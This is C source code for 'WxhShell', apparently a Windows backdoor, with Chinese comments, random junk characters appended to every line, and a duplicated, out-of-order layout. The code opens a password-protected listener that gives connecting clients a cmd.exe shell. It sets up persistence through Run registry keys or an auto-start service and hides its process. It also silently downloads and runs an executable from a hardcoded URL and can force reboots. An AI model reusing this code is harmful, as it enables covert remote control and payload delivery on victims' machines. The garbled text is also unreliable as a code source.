    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p/KG{-f,  
    else { ]*<!|;q  
    closesocket(wsh); ! l"*DR  
    ExitThread(0); 76b2 3|  
    } bpdluWS+)  
    break; rN`-ak  
    } eOJ_L]y-  
  // 获取shell `bW0Va N  
  case 's': { )|KZGr  
    CmdShell(wsh); R*VEeLx  
    closesocket(wsh); }ni@]k#q<  
    ExitThread(0); ek`6 Uf  
    break; ^_k`@SU  
  } rmPJid[8B~  
  // 退出 Wt!8.d} =  
  case 'x': { "B*UZ.cC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nKe|xP  
    CloseIt(wsh); D:PrFa  
    break; M>u84|`  
    } 1HUe8m[#3  
  // 离开 B*n_ VBd  
  case 'q': { L\\'n )  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ja^  
    closesocket(wsh); 6<No_x |_  
    WSACleanup(); 5E}!TL$  
    exit(1); 6yXN7L==x  
    break; ##'uekSJ  
        } J/\^3rCB  
  } ,AG k4]  
  } T 2Gscey  
\:E=B1  
  // 提示信息 OhTd>~R`<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GP_%. fO\M  
} ;9hS_%ldX4  
  } _ _[bKd.  
G@rV9  
  return; fT5vO.a  
} .cs4AWml<  
vUB*Qm]Y\  
// shell模块句柄 'S 6JpWG1  
int CmdShell(SOCKET sock) vxXrVPU3  
{ _cd=PZhI  
STARTUPINFO si; _EC H(  
ZeroMemory(&si,sizeof(si)); LNM#\fb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +d=8/3O%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y 9@ 2d  
PROCESS_INFORMATION ProcessInfo; ;2'/rEq4o  
char cmdline[]="cmd"; q6eD{/4a1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;;mr?'R  
  return 0; wQ '_, d  
} OK%d1M^8j  
5wb R}`8  
// 自身启动模式 q=;U(,Y  
int StartFromService(void) `]5t'Ps  
{ 7kmd.<  
typedef struct `9nk{ !X\  
{ AP0z~e  
  DWORD ExitStatus; X9o6} %Y  
  DWORD PebBaseAddress; )u.%ycfeV  
  DWORD AffinityMask; %+L3Xk]m'  
  DWORD BasePriority; :@^T^  
  ULONG UniqueProcessId; \8/$ZEom  
  ULONG InheritedFromUniqueProcessId; #f }ORA  
}   PROCESS_BASIC_INFORMATION; _o?[0E  
j~#v*qmDU  
PROCNTQSIP NtQueryInformationProcess; 3j/~XT  
7$7#z\VWu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2 xt$w%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < [q{0,  
sH :_sOV*  
  HANDLE             hProcess; fPab%>/T{  
  PROCESS_BASIC_INFORMATION pbi; yX CJ?  
hh<ryuZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "2hs=^&8  
  if(NULL == hInst ) return 0; 0134mw%jk  
&@z M<A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "/{H=X3was  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =&y6mQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "$e p=h+  
1.z]/cx<y  
  if (!NtQueryInformationProcess) return 0; Jf@~/!m}'  
Zn]!*}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9zlhJ7i  
  if(!hProcess) return 0; [cw>; \J  
0E/16@6=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oe{,-<yck  
u9G  
  CloseHandle(hProcess); (XQ:f|(  
{3K`yDF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /N=M9i\;  
if(hProcess==NULL) return 0; SD]rYIu+  
zS!+2/(  
HMODULE hMod;  zj7?2  
char procName[255]; (RI+4V1  
unsigned long cbNeeded; A(ZtA[G  
;oVFcZSA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @'JA3V}  
>5j&Q#Bu  
  CloseHandle(hProcess); f|&, SI?  
tWITr  
if(strstr(procName,"services")) return 1; // 以服务启动 5.F/>?<  
#NQx(C  
  return 0; // 注册表启动 -~&T0dt~  
} KdLj1T  
UI74RP  
// 主模块 U9x6\Iy  
int StartWxhshell(LPSTR lpCmdLine) _PGS"O?j  
{ sQ8kLS_q8  
  SOCKET wsl; mC./,a[  
BOOL val=TRUE; b^WF R   
  int port=0; kB]*2o9-3  
  struct sockaddr_in door; b*<Fi#x1=  
]ujXPK=t  
  if(wscfg.ws_autoins) Install(); NJPp6RZ%  
58gkE94  
port=atoi(lpCmdLine); 3/EJ^C  
SVqKG+{My  
if(port<=0) port=wscfg.ws_port; eOs4c`  
@T&w n k  
  WSADATA data; ; nYR~~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K# BZ Jcb  
QR h %S{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q;9OqArq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "~6IjW*/  
  door.sin_family = AF_INET; RBV*e9P%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I4MZ JAYk  
  door.sin_port = htons(port); !'8jy_<9  
Z>J3DH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SfUbjs@a  
closesocket(wsl); @~`:sa+H  
return 1; 0 1:(QJ  
} <& iLMb:%  
F3&:KZ!V&m  
  if(listen(wsl,2) == INVALID_SOCKET) { -5<G^AS  
closesocket(wsl); ?T_bjALW  
return 1; +"JQ5~7  
} 8W}rS v+  
  Wxhshell(wsl); Hzojv<c  
  WSACleanup(); IS%e5  
 K<?[^\  
return 0; $c7Utm s  
%Hy.  
} *a@78&N  
Gu# wH  
// 以NT服务方式启动  @zSj&4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (?kCo  
{ !c=EB`<*  
DWORD   status = 0; ]`TX%Qni  
  DWORD   specificError = 0xfffffff; o 5<w2(  
N3@gvS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dW#?{n-H<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =[IKwmCX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m";?B1%x  
  serviceStatus.dwWin32ExitCode     = 0; 'Jl3%axR  
  serviceStatus.dwServiceSpecificExitCode = 0; 15"[MX A  
  serviceStatus.dwCheckPoint       = 0; /[UuHU5*R  
  serviceStatus.dwWaitHint       = 0; #gRtCoew  
.MW/XnCYs4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]QmY`pTB`  
  if (hServiceStatusHandle==0) return; 1owe'7\J  
Ct386j><  
status = GetLastError(); 884-\M"h  
  if (status!=NO_ERROR) ms/Q-  
{ %^(} fu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ls{]ohP  
    serviceStatus.dwCheckPoint       = 0; y.?Q  
    serviceStatus.dwWaitHint       = 0; ANXN.V  
    serviceStatus.dwWin32ExitCode     = status; 2>Sr04Pt  
    serviceStatus.dwServiceSpecificExitCode = specificError; n-:n.JX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c}D>.x|]  
    return; z-;yDB:~t  
  } 1L<X+,]@  
G33'Cgo:,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !E_RD,_  
  serviceStatus.dwCheckPoint       = 0; xQ\S!py-  
  serviceStatus.dwWaitHint       = 0; s-),Pv|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I_On0@%T5b  
} bh UghHT  
;#S4$wISw`  
// 处理NT服务事件,比如:启动、停止 !E9A=u{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jQY^[A  
{ 4L)Ox;6>  
switch(fdwControl) vff`Xh>k(  
{ m,#Us  
case SERVICE_CONTROL_STOP: Y$N D  
  serviceStatus.dwWin32ExitCode = 0; nIv/B/>pZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F/0x` l  
  serviceStatus.dwCheckPoint   = 0; #5mnSky+s  
  serviceStatus.dwWaitHint     = 0; A?Gk8  
  { S")*~)N@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :1e'22[=.  
  } 6Y/TqI[   
  return; |n\(I$  
case SERVICE_CONTROL_PAUSE: psB9~EU&Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =pn(56  
  break; G?v]|wdI  
case SERVICE_CONTROL_CONTINUE: D]WU,a[$Bc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q=_tjg  
  break; xI^nA2g  
case SERVICE_CONTROL_INTERROGATE: z|sR `]K  
  break; Fn*)!,)  
}; PZSi}j/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5vjtF4}7!  
} xZp`Ke!  
7G9o%!D5  
// 标准应用程序主函数 o]m56  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BV6 U -  
{ LKI2R_|n  
M;1B}x@  
// 获取操作系统版本 Ub<^;Du5  
OsIsNt=GetOsVer(); <!I^xo [  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dJUI.!hv;  
`&qeSEs\  
  // 从命令行安装 ?\Lf=[  
  if(strpbrk(lpCmdLine,"iI")) Install(); b'TkYa^  
5.FAuzz  
  // 下载执行文件 {^SHIL  
if(wscfg.ws_downexe) { YOY{f:ew  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) * AjJf)o  
  WinExec(wscfg.ws_filenam,SW_HIDE); cO/.(KBF  
} R*z:+p}oHy  
zqAp7:  
if(!OsIsNt) { ~Is-^k)y  
// 如果时win9x,隐藏进程并且设置为注册表启动 s+E-M=d0e  
HideProc(); #;9n_)  
StartWxhshell(lpCmdLine); !UW{xHu  
} 6yPh0n  
else WU<C7   
  if(StartFromService()) b5d;_-~d  
  // 以服务方式启动 p_l.a  
  StartServiceCtrlDispatcher(DispatchTable); bAm ,gP  
else YlEV@  
  // 普通方式启动 `KzNBH,W  
  StartWxhshell(lpCmdLine); C9}m-N  
N.qS;%*o{e  
return 0; y/yg-\/XF  
} {B+{2;Zk  
ICB'?yZ,  
qW'5Zk  
oEnCe  
=========================================== fDIKR[B  
 h@"u==0  
zwpgf  
|!?`KO{  
|4A938'4j  
ck\gazo~q  
" Yeb-u+23  
0@*EwI  
#include <stdio.h> ;c~%:|  
#include <string.h> fN{JLp  
#include <windows.h> l/o 4bkV  
#include <winsock2.h> gCc::[}\Y  
#include <winsvc.h> FV W&)-I  
#include <urlmon.h> S#l6=zI7^R  
0xe*\CAo  
#pragma comment (lib, "Ws2_32.lib") kmfxk/F}  
#pragma comment (lib, "urlmon.lib") 5Bog\mS  
r-k,4Yz  
#define MAX_USER   100 // 最大客户端连接数 XH{P@2~l  
#define BUF_SOCK   200 // sock buffer !BikqTM  
#define KEY_BUFF   255 // 输入 buffer b<?A  
? {vY3~  
#define REBOOT     0   // 重启 VN!+r7w'  
#define SHUTDOWN   1   // 关机 _4h[q4Z  
>zY~")|R(  
#define DEF_PORT   5000 // 监听端口 |FrZ,(\  
E A}Vb(2  
#define REG_LEN     16   // 注册表键长度 b\H !\A  
#define SVC_LEN     80   // NT服务名长度 ThmN^N  
+p#Q|o'  
// 从dll定义API l4`HuNR1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FW7@7cVoF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lL{1wCsl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O9(6?n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !K319 eE  
&fu J%  
// wxhshell配置信息 Bfz]PN78.G  
struct WSCFG { [_SV$Jz  
  int ws_port;         // 监听端口 wSP'pM{#2  
  char ws_passstr[REG_LEN]; // 口令 0?d}Oj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5u3SP?.&  
  char ws_regname[REG_LEN]; // 注册表键名  ]6 ]Nr  
  char ws_svcname[REG_LEN]; // 服务名 &H<n76G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T)"LuC#C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o\7q!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o$,Dh?l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `Hv"^o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oz[G'[\}F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e eyZ $n  
/[ Rp~YzW  
}; gp H@F X  
[9Tnp]q  
// default Wxhshell configuration "T<7j.P?  
struct WSCFG wscfg={DEF_PORT, f8UO`*O  
    "xuhuanlingzhe", lL5*l,)To  
    1, $?VYHkX  
    "Wxhshell", |?MD>Pez  
    "Wxhshell", A@4{-e\  
            "WxhShell Service", JRE\R&>g  
    "Wrsky Windows CmdShell Service", nr( C*E  
    "Please Input Your Password: ", vBM<M3  
  1, H7<g5pv  
  "http://www.wrsky.com/wxhshell.exe", Sco'] ^#(  
  "Wxhshell.exe" /oGaA@#+  
    }; *KU:D Y{  
}*aj&  
// 消息定义模块 G Uh<AG*+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |<y1<O>F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LcNI$g;}Yf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R? N+./{  
char *msg_ws_ext="\n\rExit."; Nd@/U c  
char *msg_ws_end="\n\rQuit."; 02(Ob  
char *msg_ws_boot="\n\rReboot..."; ,:V[H8 ?  
char *msg_ws_poff="\n\rShutdown..."; 1:./f|m  
char *msg_ws_down="\n\rSave to "; I?%#`Rvu  
iU=:YPE+ .  
char *msg_ws_err="\n\rErr!"; u09D`QPP]  
char *msg_ws_ok="\n\rOK!"; +>c%I&h}`  
+#A~O4%t  
char ExeFile[MAX_PATH]; Q7UQwAN'  
int nUser = 0; (OavgJ+Y  
HANDLE handles[MAX_USER]; D$w?  
int OsIsNt; -$@'@U  
hQNUA|Q=%  
SERVICE_STATUS       serviceStatus; h7m$P^=U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Wk:>9]Jrb  
kKDf%=  
// 函数声明 o4LVG  
int Install(void); C8 }=fa3u  
int Uninstall(void); vNZ"x)?  
int DownloadFile(char *sURL, SOCKET wsh); e ]2GAJLI  
int Boot(int flag); Z7?\ >4V  
void HideProc(void); %j{*`}  
int GetOsVer(void); rTJ;s  
int Wxhshell(SOCKET wsl); "avG#rsH  
void TalkWithClient(void *cs); ?[DVYP  
int CmdShell(SOCKET sock); ]!/R tt  
int StartFromService(void); P86wRq  
int StartWxhshell(LPSTR lpCmdLine); vAOThj)  
_=cuOo"!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0wF)bQv1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GW7+#  
X]\; f  
// 数据结构和表定义 E% Ko[G  
SERVICE_TABLE_ENTRY DispatchTable[] = fj9&J[  
{ bz [?M}  
{wscfg.ws_svcname, NTServiceMain}, BgB0   
{NULL, NULL} [g=4'4EZc  
}; 8M BY3F  
wARd^Iw  
// 自我安装 Kv#Q$$)r  
int Install(void) `nc=@" 1  
{ n*#HokX  
  char svExeFile[MAX_PATH]; _U,Hi?b"$}  
  HKEY key; t+,2 p|B  
  strcpy(svExeFile,ExeFile); xsvJjs;=  
V,?])=Ax  
// 如果是win9x系统,修改注册表设为自启动 DV*e.Y>  
if(!OsIsNt) { y`7b3*P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -afNiNiY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q!Z{qt*`um  
  RegCloseKey(key); u_o] \D~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tCu.Fc@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ty3.u9c4  
  RegCloseKey(key); 1.Neg|  
  return 0; {Wr5F9q  
    } ItZ*$I1<  
  } gXY]NWI  
} SR<W3a\  
else { tU>7 jo[-p  
Oz "_KMz  
// 如果是NT以上系统,安装为系统服务 R[QBFL<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '=Acg"aT  
if (schSCManager!=0) tQTjqy{K  
{ #;;A~d:V  
  SC_HANDLE schService = CreateService ':f,RG  
  ( P"[{s^mb  
  schSCManager,  KcpQ[6\  
  wscfg.ws_svcname, S&Hgr_/}c  
  wscfg.ws_svcdisp, gTd r  
  SERVICE_ALL_ACCESS, h66mzV:`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _d>{Hz2  
  SERVICE_AUTO_START, n9Vr*RKM)  
  SERVICE_ERROR_NORMAL, `y{[e j  
  svExeFile, `@So6%3Y|  
  NULL, ws$kwSHq  
  NULL, xA0=C   
  NULL, m;U_oxb  
  NULL, C[><m2T  
  NULL Yq{R*HO  
  ); 8RS@YO  
  if (schService!=0) @R`Ao9n9V  
  { tK 6=F63e  
  CloseServiceHandle(schService); jFI`CA6P  
  CloseServiceHandle(schSCManager); bH%d*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {.Brh"yC  
  strcat(svExeFile,wscfg.ws_svcname); I:;umyRH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ? 0:=+%.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7IrH(~Fo  
  RegCloseKey(key); 3A.lS+P1  
  return 0; :+8qtIytKX  
    } {?r5~ T`2  
  } Sj v iH  
  CloseServiceHandle(schSCManager);  e `K{  
} +{%)}?F  
} R^INl@(O  
#K/95!)  
return 1; ROO@EQ#`Z  
} E+$D$a  
vLGnLpt  
// 自我卸载 z]&?}o  
int Uninstall(void) g#G ]}8C  
{ ezS@`_pR;  
  HKEY key; N).'>  
J"XZnb)E=  
if(!OsIsNt) { k/)h@K8@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N_l_^yD  
  RegDeleteValue(key,wscfg.ws_regname); 5!Ovd O}g  
  RegCloseKey(key); YU\k D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $KS!vS7  
  RegDeleteValue(key,wscfg.ws_regname); qTG i9OP6/  
  RegCloseKey(key); gN]\#s@[  
  return 0; ~9@83Cs2  
  } HK VtO%&  
} VuD{t%Jb  
} :4r*Jju<V  
else { AP ]`'C  
P#[?Kfi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >.uIp4@(  
if (schSCManager!=0)  hV fANbs  
{ yl0;Jx?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HI, `O  
  if (schService!=0) ryb81.|  
  { F(Je$c/J|~  
  if(DeleteService(schService)!=0) { N686~  
  CloseServiceHandle(schService); 2AEVBkF;M  
  CloseServiceHandle(schSCManager); ZzxWKIE'c  
  return 0; eYevj[c;  
  } YdN]Tqc  
  CloseServiceHandle(schService); gJ^taUE  
  } 4zZ.v"laVM  
  CloseServiceHandle(schSCManager); x~](d8*=  
} Vd'=Fe;eB  
} Xv+,Z<>iQ  
D2RvFlAXu  
return 1; \m=k~Cf:f  
} E;An':j  
&q#. >  
// 从指定url下载文件 ^z51f>C  
int DownloadFile(char *sURL, SOCKET wsh) ?P/73p  
{ 7R5+Q\W  
  HRESULT hr; 1\g r ;b  
char seps[]= "/"; `O`MW} c  
char *token; )jh~jU?c@  
char *file; e\!Aoky  
char myURL[MAX_PATH]; :#D~j]pP  
char myFILE[MAX_PATH]; Kq(JHB+  
*;U<b  
strcpy(myURL,sURL); Lyit`j~yH  
  token=strtok(myURL,seps); FrE#l.)?!  
  while(token!=NULL) !'B='].  
  { x~K79Mya  
    file=token; l hST%3Ld  
  token=strtok(NULL,seps); +,j6dYub  
  } IR8yE`(h  
7y_<BCx h  
GetCurrentDirectory(MAX_PATH,myFILE); \ _?d?:#RD  
strcat(myFILE, "\\"); T1'\!6_5  
strcat(myFILE, file); 1-E utq  
  send(wsh,myFILE,strlen(myFILE),0); v:n[H]K|  
send(wsh,"...",3,0); +,TrJg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RE1M4UV.  
  if(hr==S_OK) PKQ.gPu6*@  
return 0; "8~PfLJ+  
else ,H1K sN  
return 1; }F|B'[wn  
hE<Sm*HU  
} EV7lgKM^  
&xp]9$  
// 系统电源模块 l=x(   
int Boot(int flag) /!qP=ngw9  
{ 3[8p,wx  
  HANDLE hToken; C~C`K%7  
  TOKEN_PRIVILEGES tkp; X,{[R |  
Av4(=}M}@  
  if(OsIsNt) { ) $0>L5d:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mu5r4W47  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HJP~ lg  
    tkp.PrivilegeCount = 1; |dDKO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZT8LMPC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T|0d2aa  
if(flag==REBOOT) { f>|<5zm#<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ {6l}  
  return 0; LF#[$ so{i  
} B#cN'1c  
else { 1g jGaC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %F^,6y  
  return 0;  +cKOIMu9  
} (/s~L*gF{  
  } be$']}cP  
  else { 9A/bA|$  
if(flag==REBOOT) { 9%bErMHL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CxSh.$l  
  return 0; /)`]p1c1%w  
} L\t_zf_0  
else { K}2G4*8S_G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yvnDS"0<  
  return 0; $PAAmaigi  
} !Ce!D0Tx  
} .2s^8gO  
*2rc Y  
return 1; tGzp= PyA  
} ayQeT  
drk BW}_  
// win9x进程隐藏模块 Od:-fw  
void HideProc(void) ^P*-bV4  
{ ~>P(nI  
6As%<g=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dwr 9}Z-]  
  if ( hKernel != NULL ) *u",-n  
  { ;tF&r1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =;E0PB_w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9!kp3x/`  
    FreeLibrary(hKernel); 4nGt*0Er  
  } c{KJNH%7  
s|`wi}"x  
return; 6> z{xYat  
} VR\}*@pNp  
M"bG(a(6:  
// 获取操作系统版本 e`q*'u1?  
int GetOsVer(void) vU]n0)<KB  
{ @LSh=o+  
  OSVERSIONINFO winfo; u[oV Jvc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #dD0vYT&od  
  GetVersionEx(&winfo); ~*9Ue@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hJD3G |E  
  return 1; o)]O  
  else B2'TRXIm1U  
  return 0; l2}X\N&q  
} =N8_S$nx(  
FOsxId[f9  
// 客户端句柄模块 jA[Ir3  
int Wxhshell(SOCKET wsl) >EZZEd   
{ 29VX-45  
  SOCKET wsh; xplV6q`  
  struct sockaddr_in client; Wq"-T.i  
  DWORD myID; /oLY\>pD  
MLg{Y?@  
  while(nUser<MAX_USER) _[-W*,xJ)  
{ xR|^{y9n  
  int nSize=sizeof(client); C'R6mz%Q?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |0?v4%g  
  if(wsh==INVALID_SOCKET) return 1; ]61HQ  
T,rRE7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ts}OE  
if(handles[nUser]==0) GZKYRPg  
  closesocket(wsh); Yyr9Kj:  
else xUCq%r_  
  nUser++; DdU w~n,  
  } :Fu7T1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {$i>\)  
[t$ r)vX  
  return 0; BG= J8  
} 9I;~P &  
wf &Jd:)4t  
// 关闭 socket ';My"/ Z-  
void CloseIt(SOCKET wsh) +6 =lN[b  
{ mfS}+_ C  
closesocket(wsh); KfYU.Q  
nUser--; q-ko)]  
ExitThread(0); he:z9EG}  
} W$()W)   
<lWj-+m  
// 客户端请求句柄 9V[}#(f$  
void TalkWithClient(void *cs) YD;d*E%t  
{ X1o^MMpz(F  
4>LaA7)v  
  SOCKET wsh=(SOCKET)cs; q=D8 Nz  
  char pwd[SVC_LEN]; {U"=}j(  
  char cmd[KEY_BUFF]; {u)>W@Lr  
char chr[1]; SS*3Qx:[  
int i,j; Ci(c`1av  
( we)0AxF'  
  while (nUser < MAX_USER) { ;fe~PPT  
0"J0JcFX  
if(wscfg.ws_passstr) {  BDfJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ym|%ka  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qN\?cW'  
  //ZeroMemory(pwd,KEY_BUFF); tg6iHFa  
      i=0; /l>!7  
  while(i<SVC_LEN) { jT=fq'RK  
PT39VI =  
  // 设置超时 )0?u_Z]w9  
  fd_set FdRead; -]<<}@NF  
  struct timeval TimeOut; Nbb2wr9A  
  FD_ZERO(&FdRead); 8@,8j!$8G  
  FD_SET(wsh,&FdRead); s((c@)M  
  TimeOut.tv_sec=8; GUn$IPOM  
  TimeOut.tv_usec=0; d}Xb8SaE%c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lsA?|4`mn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %sCG}? y  
sWv!ig_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sZPyEIXie  
  pwd=chr[0]; 9%Qlg4~<s  
  if(chr[0]==0xd || chr[0]==0xa) { V `7(75  
  pwd=0; U(/8dCyyY  
  break; {4eI} p<  
  } :hTmt{LjN  
  i++; 2@,rIve  
    } EslHml#  
N"8'=wB  
  // 如果是非法用户,关闭 socket Y^tUcBm\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;a 6Z=LB  
} %>- ?oor  
=z zmz7op  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Z^\<{z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V 5D8z  
p^k*[3$0  
while(1) { uj:1_&g  
-% \LW1  
  ZeroMemory(cmd,KEY_BUFF); 0K4A0s_R`  
TeRH@oI  
      // 自动支持客户端 telnet标准   w8cbhc  
  j=0; 089v; d 6  
  while(j<KEY_BUFF) { 'U-8w@\Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Z?jo#F  
  cmd[j]=chr[0]; .z[#j]k  
  if(chr[0]==0xa || chr[0]==0xd) { y({lE3P  
  cmd[j]=0; pi5DDK  
  break; [<WoXS1LX  
  }  [ J4n%  
  j++; CsEU:v  
    } ny:/a  
RTr"#[  
  // 下载文件 I]a [Ngj  
  if(strstr(cmd,"http://")) { t:"%d9]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P'^& SK  
  if(DownloadFile(cmd,wsh)) MM6PaD{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"rANP-UI  
  else 4%#q.qI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c#-*]6x  
  } 5Od&-~O  
  else { 5mX^{V&^  
ZCuoYE$g  
    switch(cmd[0]) { TE: |w Xe  
  <99/7>#  
  // 帮助 k$GtzjN  
  case '?': { NOmFQ)/ &  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (TU/EU5  
    break; 3L36 2  
  } /U} )mdFm  
  // 安装 <G'M/IR a  
  case 'i': { m d `=2l  
